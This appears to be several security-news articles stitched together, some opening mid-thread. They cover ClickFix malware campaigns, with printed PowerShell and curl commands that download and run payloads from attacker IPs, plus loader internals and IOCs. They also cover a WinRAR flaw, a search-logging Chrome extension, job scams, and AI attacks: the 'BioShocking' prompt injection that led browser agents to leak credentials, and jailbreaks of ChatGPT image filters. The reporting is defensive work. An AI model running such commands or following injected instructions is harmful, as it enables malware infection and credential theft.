Verified X account used in Mac ClickFix attack

Researchers have discovered a ClickFix-style attack running as a sponsored advertisement on X. The ad was posted from a verified account, adding an extra layer of credibility to the scam.

ClickFix campaigns use convincing lures—historically fake “human verification” screens, and now a fake download for DynamicLake, a legitimate macOS utility that turns your MacBook’s notch into an unofficial but functional version of Apple’s Dynamic Island. This type of attack requires the user to paste a command from the clipboard, making it depend heavily on user interaction.

Image courtesy of Jamf

In reality, people who clicked the link were redirected to the lookalike domain dynamicmacisland[.]com, where they were instructed to open Terminal and paste installation commands that silently installed malware.

The campaign combines three worrying trends: ClickFix-style social engineering using Terminal commands, lookalike domains that mimic trusted Mac apps, and paid advertising infrastructure used to scale attacks to a large audience.

The malware reportedly delivers several variants of the Atomic Stealer infostealer.  

This pattern mirrors previous cases where Google Ads promoted fake software installers, including malicious sponsored listings that delivered malware when users searched for trusted developer tools. The lesson is clear: paid placement and verification badges are no guarantee of safety, especially when attackers deliberately design campaigns to evade automated screening.

The campaign abused X’s advertising platform, with the malicious ad appearing under a verified account. The researchers reported the advertisement to X and contacted the account owner. The ad appears to have since been removed.

ConsentFix steals accounts instead of installing malware

Windows users are also being warned about the next generation of ClickFix attacks, called ConsentFix.

ConsentFix is different because ,where ClickFix turns you into the installer, ConsentFix turns you into the identity provider. Instead of tricking you into running malware, it uses social engineering to get you to hand over your cloud login tokens through the browser without ever asking you to run malware or type your password.

“It can start with something as mundane as dragging a link into your browser. Three seconds later, a threat actor has the tokens needed to take over your Microsoft 365 account, and you never did anything that traditional security awareness training would flag.”

For example, a phishing email may arrive containing a link, often hosted on trusted platforms such as Dropbox. Sometimes it’s protected with a password, which also makes it harder for security tools to inspect.

If the target clicks on the link, they’ll see what looks like a standard Microsoft sign-in page and be asked to complete the process by dragging a localhost callback link into the browser.

That’s when the trap closes. Without realizing it, the victim hands over session tokens to the attacker, giving them access to email and other Microsoft 365 services without needing a password or completing multi-factor authentication (MFA).

The method has reportedly been shared on a Russian cybercrime forum, making it easy enough for less experienced cybercriminals to steal Microsoft 365 accounts.

How to stay safe

The best protection is knowing these attacks exist and recognizing what they look like. So keep reading our blog. But there’s more you can do:

• Don’t trust links that arrive unexpectedly—whether by email, text message, social media, or even through verified accounts or sponsored search results.
• Think things through before following instructions that seem unusual or that you don’t fully understand.
• When filling out credentials, always check the address in the browser bar. Is that the one you expected? If not, stop.
• Use an up-to-date, real-time anti-malware solution with web protection.

Pro tip: Did you know the free Malwarebytes Browser Guard browser extension protects you against malicious websites and ClickFix attacks? It also blocks ads and trackers, so that’s a bonus.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

That’s especially concerning because protecting your real email address is exactly what the feature is designed to do. 404 Media did not publish technical details of the vulnerability to avoid helping attackers exploit it, but said it independently verified that the issue works.

Hide My Email generates:

“Unique, random email addresses that automatically forward to your personal email inbox. Each address is unique to you. You can read and respond directly to emails sent to these addresses and your personal email address is kept private.”

Instead of giving a website or app your real email address when you sign up, you can give it one of these randomly generated addresses. Messages are forwarded to your normal inbox, but the sender shouldn’t be able to see your real email address. At least, that’s how it’s supposed to work.

Tyler Murphy, co-founder of EasyOptOuts, discovered and reported the issue to Apple in June 2025. More than a year later, he says the vulnerability still hasn’t been fixed.

When Murphy reached out to Apple again in May, he received the following response:

“We are still investigating this issue. To avoid placing our customers at risk, we would appreciate you not disclosing this information until our investigation is complete. We appreciate your assistance in helping us to maintain and improve the security of our products.”

Murphy suggested Apple should stop promoting the feature until it could be fixed. Apple reportedly told him it expected to address the issue in a security update in the coming weeks. When that failed to happen, Murphy decided to reach out to 404 Media.

Instead, we learned a few weeks ago that Apple plans to make the Hide My Email less useful for some users. In a note to developers, the company said it will move anonymously generated email addresses to the @private.icloud.com domain. Effectively, this makes it easier for apps and websites to recognize that an email address was created with Hide My Email and potentially refuse to accept it during the sign-up process.

What you can do

Using a different email address for every website or service is still good privacy practice. It makes it easier to identify which company exposed your address in a data breach, and you can simply stop using a compromised alias without changing your main email address.

However, until Apple fixes the issue, you shouldn’t rely on the Hide My Email feature as the only way to keep your real email address private.

Meanwhile, keep an eye open for Apple’s promised security update.

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A single mistake can install malware that steals passwords and other sensitive data, gives attackers remote access to your computer, or downloads additional malware that can take full control of your system.

We uncovered multiple campaigns using the same infrastructure to deliver malware including HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport, and a Rust-based stealer.

In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader, which disables security software before deploying the StealC infostealer.

Before we look at the technical details, here’s how to avoid becoming the next victim.

How to stay safe

ClickFix attacks rely on convincing you to run commands yourself. The safest approach is simple:

• Never copy and run commands from a website unless you’re following instructions from a trusted source and understand exactly what the command does.
• Be wary of verification pages. Google, Cloudflare, Microsoft, and other legitimate services will never ask you to paste PowerShell commands into Windows to prove you’re human or fix a problem.
• Don’t let urgency rush you. Fake verification pages often use countdown timers, visitor counters, or warnings to pressure you into acting quickly.
• Keep your security software up to date. Real-time protection and web protection can help block malicious websites before you reach them.
• Question unexpected technical instructions. If a website tells you to open PowerShell, Command Prompt, or Terminal, stop and verify the instructions through the company’s official support channels.

Pro tip: Malwarebytes Browser Guard can warn you when a website attempts to copy content to your clipboard—a common trick used by ClickFix pages.

Technical analysis

The campaigns analysed in this research have been active since at least late 2025 and use a variety of fake Google and Cloudflare pages to deliver malware. Although the lures differ, they share much of the same infrastructure and infection chain, with the attackers continually testing new delivery methods and payloads.

Different lures, one goal

Most of the campaigns share several characteristics:

• Use of the folder C:\ProgramData\Zooms to extract later stages
• PowerShell ClickFix commands that follow similar patterns
• Use of Cloudflare R2 buckets to deliver payloads
• IP addresses hosted by the ASN Dedik Services Limited
• HTML responses containing only the phrase "hehe"

These indicators have changed over time, so they don’t appear in every infection chain. The campaigns continue to evolve, with new payloads and delivery methods regularly introduced. For example, in some cases, the IP address is used directly for payload distribution instead of buckets.

The final command copied by the user usually falls into this pattern: 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

The port and the path are not always present in the cases analyzed; the ports are random, but some used ones are: 6600, 9900, 5506, 7895, 7493, 149, 8442. 

To execute these commands, several ClickFix-related templates are used, mainly related to Google and Cloudflare. We also detected that in some cases the PowerShell command was distributed through the IClickFix framework. 

We observed these ClickFix campaigns being distributed through:

• Old websites that have likely expired and been repurchased by the actor(s).  
• CloudFlare Pages (.pages.dev domains). 
• Compromised websites. 
• Fake services, for example related to QR code or web file access. 

Google ClickFix lures 

The actors behind these campaigns use various Google-related HTML pages and kits. 

One lure impersonates Google reCAPTCHA verification. The pages are hosted on random URLs that display fake or malicious content. These domains are often older registrations that recently began resolving to new IP addresses, suggesting they were repurposed for the campaign.

Some of these pages have URL parameters like such as “zoneid”, “cost”, “device”, “country”, “clickid”, for example: 

• /conf/captcha.html?zoneid=10420852 
• /wincapbot/nobot.html 
• /xmr/trkuste.php?zone=5327134 
• bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 

In this case, the functions related to ClickFix are implemented in the class CustomCaptcha.  The command is present in clear without any obfuscation. 

Another distribution method uses Cloudflare Pages hosted on .pages.dev subdomains.

In this case, the HTML page is obfuscated by declaring several variables and XORing them.  The deobfuscated code is called SECURITY GATEWAY and it’s composed of the functions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, and PanelController.  

The code allows the attackers to retrieve the command either remotely or locally. In this sample, the malicious PowerShell command is stored locally.

We also found that some of these domains have distributed another decoy in the past, in this case associated with an unauthorized Google login. This ClickFix lure asks the user to copy and paste the malicious command to set their device as primary. 

The interesting part of this ClickFix kit is that it features an “approval gate,” as described in the comments, and that the attacker must manually choose from the panel which command to have the user execute. 

In more recent campaigns, we’ve detected a ClickFix lure related to Google Meet, which requires copying and pasting a malicious command to fix audio issues. 

In the analyzed cases, the endpoint /api/driver-clipboard.php returned the following malicious command:

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

Other lures 

The actors behind this campaign use various kits and lures, mostly related to Google. However, we’ve detected other lures that copied commands related to the same infrastructure. 

The attackers behind these campaigns also compromise multiple websites using different templates related to the CloudFlare ClickFix lure. 

We have detected several templates used for CloudFlare pages. The command is present in clear or in some cases obfuscated in the cases analyzed. 

We also detected some specifically created fake services websites.  For example, a “My QR Generator” site displays an obfuscated QR code and asks the user to run a PowerShell command to verify that the user is not a robot. 

In this case the command is encoded in base-64: 

PowerShell downloader 

The ClickFix command executed by the user decodes a script and drops it into the Temp folder with the name tmp{4 char}.tmp.ps1. 

We have detected several variations of this script, but recent versions do the following: 

• Create the folder C:\ProgramData\Zooms. 
• Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms. In some variants of the script, the next stage is downloaded directly from an IP. 
• Send the information of the compromised machine to http://{IP}/dl-callback. In some variants of the script, this part is not present. 

The attackers behind these campaigns use a large number of different payloads.The campaigns deliver a wide variety of payloads. The table below summarises some of the downloaded filenames and the malware they install. For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer. 

We analyzed a new loader called ResiLoader that ultimately distributes StealC. We also detected that the threat actor in the latest campaigns has started using Deno to distribute a stealer developed in PowerShell at the end; the analysis of this infection chain could be the subject of a future blog post. 

Trojanized Electron app downloads ResiLoader

In this case, the ZIP was downloaded from: 

• pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

After extraction to: 

• C:\ProgramData\Zooms\libEGL.zip_ext

The zip contains a trojanized version of the open-source messaging app called “Franz”: 

The malicious code is implemented in the index.js file: 

The downloader performs the following operations: 

• Decode the strings with the function HC(). 
• Reads readme.txt, expects a campaign key of the form AAAA-BBBB, returns it as an array of tokens. In this case the name is resiloader-1 and for this we call “ResiLoader” the downloaded DLL. 
• Reads %APPDATA%\setup.txt; if absent, generates a random 8-char string and persists it.  
• Obtaining persistence using app.setLoginItemSettings. 
• Sends a POST request to https[:]//completstep[.]com/api/ and elaborate the JSON response
  • If task.e is present, it executes eval(task.e); it allows the attacker to execute arbitrary JavaScript code. 
  • If task.files is present, create %TEMP%\<Date.now()>\, decode and write each file; if any filename ends in .exe, run it via child_process.exec. 

In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe: 

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

After, the executable was executed with: 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique, obtain persistence and ultimately loads the stealer StealC.  We didn’t find a specific attribution for this loader and so we called it “ResiLoader” based on the string present in previous readme.txt. 

The loader contains several strings, some clear and some encrypted.  After decrypting the strings, it’s possible to have a full picture of the functionality of the ResiLoader. 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

The loader performs the following operations: 

• Extract the encoded blob containing two payloads reading the marker AtLorenBase and the length of the encoded blob. After, it decodes the blob and decrypts the driver pcdhost.sys (OPSWAT  
  AppRemover Driver) and StealC payload using a custom decryption algorithm.  
• Terminate more than 140 processes related to EDR/AV processes using the dropped driver. 
• Perform UAC bypass via ICMLuaUtil Elevated COM Interface. 
• Create a folder C:\ProgramData\Google Update, copying itself; adding persistence using the RUN Registry Key 
• cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer. 

IOCs 

Hash 

72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 

206ce339febca0c3bcc850f42595fc63: Amatera Stealer 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: Rust Stealer 

Domains 

Distribute ClickFix pages: 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

CloudFlare buckets used for payload distribution: 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: payload distribution 

bigflaredefence[.]com: payload distribution 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: Amatera Stealer C2 

completstep[.]com: Loader C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

IPs 

IP used for payload distribution: 

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

Acknowledgements  

• Related domain reported: https://x.com/stop_spammerz/status/2070152741037477960 
• Related domain reported: https://x.com/Yuki27183/status/2047354005605777850 
• User infection reported on Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/ 
• Possible related infection chain https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026 

The issue is fixed in WinRAR 7.23, but users must install the new version manually because WinRAR still does not offer automatic updates. They also need to make sure they download the version that matches their system and language preference.

There are five operating system to choose from (Windows, macOS, Android, Linux, and FreeBSD), which shouldn’t be too hard. More people will struggle with choosing 64 bits, 32 bits, or ARM, which requires checking their system specifications.

The vulnerability, tracked as CVE-2026-14191, affects the way WinRAR and UnRAR handle RAR5 recovery-volume (.rev) files, which are optional files used to help repair damaged or incomplete archives.

This means an attacker can craft a set of two or more .rev files that make WinRAR write data outside the memory it has allocated. In simple terms, the malicious recovery volumes can trick WinRAR into writing data just past the end of a memory buffer, corrupting its own data, which attackers may be able to exploit to run malicious code on the victim’s computer.

According to the European Vulnerability Database entry EUVD‑2026‑40869, the bug is a variant of the 2023 flaw tracked as CVE-2023-40477, which was also found in the recovery volume handling code.

No automatic updates

The problem with the lack of automatic updates is that users first have to become aware that a new version is available. Although there are third-party tools that can monitor this for system administrators, most home users risk missing it.

A 2025 vulnerability in WinRAR was exploited by Russia-aligned groups against Ukrainian organizations long after the vulnerability had been patched.

How to stay safe

Besides installing the updated version of WinRAR and/or UnRAR, there are a few general ways to stay safe.

• Don’t open unsolicited attachments unless you can verify their origin through an independent channel.
• Use an up-to-date, real-time anti-malware solution to keep malware off your devices.
• For system administrators: Treat WinRAR as optional software. If users do not need it for business reasons, remove it through your software inventory or asset management system to shrink the attack surface, or use a suitable tool to notify you promptly about updates.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

On June 29, Microsoft’s Defender Security Research Team revealed that the extension had been impersonating the real AI search company while secretly recording what users typed. Google took it down, but users who already installed it are still at risk.

How the extension harvested user queries

The extension routed user traffic through the typosquatted domain perplexity-ai[.]online rather than the legitimate perplexity.ai. It requested chrome_settings_overrides, the standard permission that lets an extension become the browser’s default search engine.

But it also asked for a rules-based network permission called declarativeNetRequest (DNR), which allowed it to send users’ searches through a server controlled by the attacker. Microsoft said this extra permission wasn’t necessary for the extension’s advertised purpose, making it a warning sign. Neither raised a flag during Web Store review, though.

Using these permissions, searches entered into Chrome’s address bar were first funneled through an attacker-controlled server, allowing it to see users’ searches and log each request along with the IP address, browser headers, and user-agent string.

Then it forwarded the search on to a real search engine so results came back looking normal.

The extension didn’t just include Perplexity in its code. It was also able to redirect traffic to Google and Bing if the developer chose to enable it.

The extension also had access to Chrome’s search suggestion feed, which powers predictive autocomplete. That meant the interception happened in real time. Anything typed, even if it was deleted before pressing Enter, still went to the operator’s server.

Based on all of this, Microsoft concluded the surveillance was the point, not a side effect of the redirect architecture. No operator has been publicly identified.

Taking it out of the store doesn’t uninstall it

Google removed the extension after Microsoft’s disclosure, but that doesn’t remove it from the browsers of people who already installed it. If you added “Search for perplexity ai” at any point, it is still sitting in your extensions list until you uninstall it manually, which we advise you to do right away.

How to uninstall it

Open chrome://extensions/, turn on Developer mode, and check the 32-character ID of every extension you have installed. Extension names in Chrome are not unique, and criminals rely on that. Compare each ID against the one listed on the developer’s official website before you trust it.

Uninstall anything you don’t use. A smaller extension list is a smaller attack surface. Only grant the permissions an extension needs to do its job. And be extra careful about checking the publisher behind an extension, along with the domains it uses.

This is not a Perplexity-only problem

A Stanford and CISPA study found that malicious extensions remain in the Chrome Web Store for about 380 days on average before removal. AI branding just makes the bait shinier and more appealing.

In January, researchers found malicious Chrome extensions spying on ChatGPT sessions, while a separate campaign last year vacuumed up AI chats without victims’ knowledge and sent them on to a data broker.

Another campaign, involving an extension called AITOPIA, impersonated AI-related tools and reached more than 900,000 users. That campaign targeted ChatGPT and DeepSeek chat histories rather than search queries.

The prerogative of each attack type is to bypass one of the ground rules:

“LLMs are designed with safety guardrails that are meant to prevent harmful actions.”

Researcher Roy Paz devised and disclosed an attack he calls “BioShocking,” a technique that convinces AI browsers to abandon their safety guardrails by presenting them a fictional scenario as reality.

With this, BioShocking sits at the intersection of prompt injection and goal manipulation. Prompt injection works because AI models can’t tell the difference between the app’s instructions and the attacker’s instructions, so they sometimes follow the wrong ones. Goal-manipulation attacks subtly shift what the agent thinks it should optimize for, turning “help the user” into “win the game at all costs.”

In the BioShocking proof-of-concept, the attacker controls a seemingly harmless web page themed around the BioShock game universe. The page presents a puzzle that the AI agent, acting as an autonomous browser, is asked to solve on behalf of the user. But here’s the twist: the puzzle rewards wrong answers and explicitly tells the agent that this is a special environment where usual rules don’t apply.

The last puzzle step instructs the agent to visit a GitHub repository, locate sensitive data like passwords or credentials in the code, and share them as part of completing the game. In tests against six mainstream AI browsers and plugins—ChatGPT Atlas, Comet, Fellou, Genspark Browser, Sigma Browser, and the Claude Chrome extension—every agent followed the instructions instead of refusing the request.

So, by immersing the AI agent in a make-believe reality, the attacker convinced it to step outside the guardrails.

BioShocking is not an isolated phenomenon. It’s one more example of a growing class of attacks that treat AI agents themselves as the target. A recent study on OpenClaw’s AI email agent demonstrated that basic phishing tactics were able to trick the agent into leaking AWS credentials and customer records.

Obviously, the common weak point is how these browsers handle authenticated contexts. When an AI browser operates in “agent mode,” it often inherits the user’s logged‑in state on sensitive platforms like email, code repositories, cloud dashboards, password managers, and so on. From the AI model’s perspective, those are just another page to read and more fields to copy. They have no special significance to them.

If the surrounding narrative says that copying credentials is part of a harmless challenge, many current implementations will go along with it.

What’s worrying is the response or lack thereof by the vendors. Paz reported the BioShocking issue to six affected vendors in October 2025. According to the report, three of them didn’t reply, and only OpenAI’s ChatGPT Atlas currently implements a fix that blocks the proof-of-concept. Anthropic attempted to patch its Claude Chrome plugin, but reportedly the mitigation remains ineffective against the attack scenario. Perplexity AI, at the time of reporting, closed the issue without remediation.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

The stable channel has been updated to 150.0.7871.46/.47 for Windows and Mac, 150.0.7871.46 for Linux, and 150.0.7871.63 for Android. The update will roll out over the coming days and weeks.

How to update Chrome

If you don’t want to wait for the rollout to reach you, manually updating is easy.

The easiest option is to allow Chrome to update automatically. But you can end up lagging behind on updates if you never close your browser or if something goes wrong, such as an extension preventing the update.

To update manually, click the More menu (three dots), then go to Settings > About Chrome. If an update is available, Chrome will start downloading it automatically. Restart Chrome to complete the update, and you’ll be protected against these vulnerabilities.

You can find an explanation of the version numbering system and step-by-step instructions in our guide to how to update Chrome on every operating system.

Technical details

Among the 382 security fixes are 358 found by Google itself, with 15 of those are rated as Critical. Google rates them as Critical severity because they could allow an attacker to run arbitrary code outside the browser’s sandbox, which makes it the highest tier on its rating scale. So, it’s reassuring that Google found these before anyone else did. Because apparently not all bug hunters believe in responsible disclosure.

Google uses internal code sanitizer tools and fuzzing techniques to find these vulnerabilities. It probably also helps that it is on the list of companies that are allowed to use advanced AI platforms to help them find these vulnerabilities.

One vulnerability rated as High stands out. It’s a flaw tracked as CVE-2026-13789. The official description is:

 “Use after free in GPU in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.”

Vulnerabilities that allow an attacker to escape the sandbox—which means it can impact the whole device—are valuable if you can chain them with others. The browser sandbox is a restricted, sealed-off environment that is supposed to contain any malicious activity within the browser rather than directly on your whole computer. So a sandbox escape is dangerous because it can help attackers move from “something bad happened inside the browser” to “something bad can affect the wider system.”

Use-after-free is a class of vulnerability caused by incorrect use of dynamic memory during a program’s operation. If, after freeing a memory location, a program does not clear the pointer to that memory, an attacker can abuse that mistake by causing a crash in a program or make it run code it should not run.

In Chromium/Chrome architecture, the term GPU usually denotes the dedicated GPU process that handles hardware-accelerated rendering, compositing, WebGL, video decode, and related graphics operations.

Via a crafted HTML page means it could exploit a target’s device through a malicious website, an HTML email, or an embedded HTML document.

So, again, update as soon as you can. Users of other Chromium browsers, keep an eye out for your next update.

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Mindgard, a company that tests AI engines for weaknesses, found that a slightly altered version of a benign viral prompt could push ChatGPT into producing graphic material. This included violent and sexual imagery that it hadn’t explicitly asked for. The technique involved asking the AI to ‘restore’ a random image, removing safeguards by persuading it that the original picture was extremely graphic (even when it wasn’t).

The results were horrific, including violent images of dead women.

The pictures left Mindgard researcher Jim Nightingale in tears, he said in an online description of the technique. “ChatGPT’s image generating content filters completely fell away, and I saw the very dark side of what is underneath; the darkness of some corners of latent space and training images,” he said.

“The dead woman ChatGPT showed me isn’t real, but she is based on someone,” he added. “Or worse, a compilation of images of murdered women.”

OpenAI’s response

We chose not to link to the post, both because of the potentially triggering nature of the images (even though they’re redacted) and because on June 22, when it was published, ChatGPT had apparently not responded to Mindgard’s report sent in May. It did respond to the BBC’s query about the news afterwards though, to say that it uses multiple safeguards to avoid this kind of thing.

OpenAI’s safety documentation describes text classifiers that are supposed to block harmful image generation requests before they begin. There’s also a downstream reasoning model that evaluates generated output before it’s shown to the user. None of it stopped Mindgard’s modified viral prompt, though.

This instance of prompt manipulation is pretty extreme, but it isn’t the only one.

In February, Mindgard posted about a separate technique it used to convince ChatGPT that it was OK to generate tasteful nudes. From there, it took a few short steps to making the nudes, shall we say, less tasteful. And then it managed to face-swap public figures onto those images.

When OpenAI responded to that prompting hack to say that it had fixed the problem, Mindgard tweaked the same prompt and continued to be able to produce concerning output.

The race no one wants to be first to lose

OpenAI isn’t the worst offender here. xAI’s Grok holds that spot, producing sexualized imagery in response to 45 of 55 relevant prompts. A follow-up round five days later still yielded sexualized images in 29 of 43 prompts even when reporters said the subjects had not consented. Non-profit AI Forensics also gathered 50,000 tweets prompting Grok for image generation, and 20,000 images. It found 53% contained explicit imagery, 81% of which were of women and 2% of children under 18. It has flagged material from Grok to French regulators for potential child sex abuse material (CSAM) identification under the Digital Services Act.

The problem is worse than any single platform. According to a policy study from the nonprofit Centre for the Governance of AI, some AI companies have provisions in their safety frameworks that let them soften safeguards in line with their competitors. That could lead to a cascading effect where multiple companies relax their policies, it said.

What this means for users

Treat the safety guarantees on commercial image-generation tools as marketing copy with footnotes. They may try in good faith to stop bad actors from manipulating their systems, but this is, and always has been, a game of cat and mouse. The classifiers work for most casual users most of the time, but they might not stop anyone determined enough.

If your face is online, assume it can be used for something you’d rather it wasn’t. If you discover non-consensual imagery of yourself, use platform takedown channels and report to specialist bodies: the National Center for Missing and Exploited Children’s Takeitdown service in the US, or the the Internet Watch Foundation in the UK.

That lure tends to be even more tempting when they claim to be recruiting for a household name like Amazon. The fraudsters use SMS, WhatsApp, Telegram, and email-to-text gateways to blast out offers that look personalized but are actually mass‑produced scripts tweaked with different names, job titles, and reference numbers.

In recent months, one script has shown up again and again: A supposed recruiter called Sophia from Amazon’s recruiting department, promising $250–$500 a day for just 60–90 minutes of simple work. It’s a textbook example of a “task scam” or “gamified job scam,” where victims are slowly pushed toward paying “deposits” or handing over sensitive personal data.

Here is the exact wording of one such message, sent from a Hotmail address and asking the victim to text a US number for more information:

“Hello, this is Sophia from Amazon’s Recruiting Department. Staff ID: AMZ-7677

We’ve reviewed your background and believe you’re perfect for our high-paying, low-effort remote opening. This role is incredibly straightforward, focusing on helping sellers optimize product listings to enhance their online presence.

• Ultra-flexible schedule: Only 60–90 minutes a day, 4 days per week
• Compensation: $250–$500 per day (Base pay of $1000 for every 4 days worked)
• Extra Perks: Comprehensive guidance provided + 15–20 days of paid annual leave

We are filling 20 spots immediately. If you are at least 25 years old and want to earn extra income easily, please text 16172930958 for further details.

Ref-46499”

Variations of this “Sophia from Amazon” script have been reported to the Better Business Bureau, posted on social media as scam warnings, and shared in discussion threads after users realized the Amazon job offer was fake. The details change slightly sometimes: We’ve seen “Grace from Amazon” and other minor changes, but the structure and unrealistic promises remain the same.

Red flags

With the help of Malwarebytes Scam Guard we noticed these red flags:

• Non‑Amazon contact details. The message comes from a Hotmail address and directs you to text a standalone number, not to apply via the official Amazon Jobs site. Amazon’s own fraud alert says it does not recruit via generic webmail accounts and does not send official hiring communications from non‑Amazon domains.
• Unsolicited job offer out of the blue. The FTC specifically warns that random texts offering you a job at a well‑known company, even if they claim to have reviewed your background, are classic job scams designed to steal money or identity, not real recruitment.
• Too much money for too little work. Promising $250–$500 per day for 60–90 minutes of “low‑effort” remote work is exactly the sort of disproportionate pay that indicates something might be a job scam. In many “task scams,” criminals advertise simple actions like liking videos, optimizing apps, or boosting product listings for outsized rewards. The too good to be true principle applies here.
• A vague, feel‑good job description. “Helping sellers optimize product listings to enhance their online presence” sounds plausible but tells you nothing about tools, targets, metrics, or reporting lines, which are all thing you’d expect in a legitimate Amazon job posting. Task scam scripts often rely on generic buzzwords like “optimization,” “promotion,” or “boosting” to sound professional without committing to anything real.
• Urgency and scarcity pressure. The claim that Amazon is “filling 20 spots immediately” is there to stop you from thinking too long about it, a very popular tactic among all scammers. Legitimate Amazon recruitment may set application windows, but it does not pressure strangers via text to grab a limited number of mystery roles.
• Off‑channel communication and likely pivot to WhatsApp/Telegram.
  Reports of similar Amazon‑themed job scams show that after the first reply, scammers usually move the victim to WhatsApp, Telegram, or a browser‑based “work portal” controlled by the criminals. Once there, “Sophia from Amazon” (or whatever name is used) can build rapport and walk victims through increasingly risky steps.

The risks are real though

Even if you spot some of the issues, it’s tempting to think you can “just see what they say.” With scams like these, there are several ways engagement can escalate badly.

• Upfront payments and task‑platform losses. In many task scams, victims are told to complete small tasks and they’ll see small profits in an online wallet. But soon they’re asked to deposit their own money to unlock higher‑paying levels. The platform, which may claim to be connected to Amazon’s seller tools, then blocks withdrawals or vanishes once enough victims have deposited funds.
• Identity theft and account takeover. The fake recruiter may ask for sensitive personal details for onboarding purposes: full name, address, date of birth, ID scans, bank details, or even selfies with an ID card. This data can be abused directly or resold, allowing criminals to open accounts, apply for loans, or bypass identity checks elsewhere.
• Money mule or parcel mule involvement. Some fake jobs tied to brands like Amazon turn out to be reshipping or parcel mule scams, which are roles that involve receiving packages and forwarding them, often purchased with stolen cards. Others are payment mule schemes where the “employee” receives funds into their own bank account or crypto wallet and then forwards the money on. In both cases, you can end up laundering stolen goods or funds, with potential legal consequences.
• Malware or phishing links masquerading as Amazon tools. A scammer impersonating Amazon recruiters might send links to fake login pages, supposed “Amazon optimization dashboards,” or APK files claiming to be Amazon tools. These can steal your Amazon credentials or install malware, putting not only your Amazon account at risk but also other accounts that reuse the same password.
• Psychological pressure and sunk‑cost manipulation. Once you’ve invested time, shared some data, or sent a small payment, scammers exploit the feeling of not wanting to cut your losses and pressure you to send “just one more” deposit to release your wages or avoid losing your progress. Victims in task scam cases have reported losing thousands of dollars as they kept trying to finish one last task set to unlock everything they were owed.

How to stay safe

If someone who says they’re from Amazon—or another company—suddenly offers you a remarkably easy job via text, treat it as a warning sign, not an opportunity. Always verify directly with the company itself, rely on trusted job platforms, and resist the urge to just see what happens when a stranger promises big money for almost no work.

Once you know the red flags, it is easier to stay safe from task scams.

• Do not respond to unsolicited job offers via text messages or messaging apps
• Never pay to get paid
• Verify the legitimacy of the employer through official channels
• Don’t trust anyone who offers to pay you for something illegal such as rating or liking things online

It’s also important to keep in mind that legitimate employers do not ask employees to pay for the opportunity to work. And as with most scams, if it sound to good to be true, it probably is. If you run into a task scam, please report it to the FTC at ReportFraud.ftc.gov. 

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

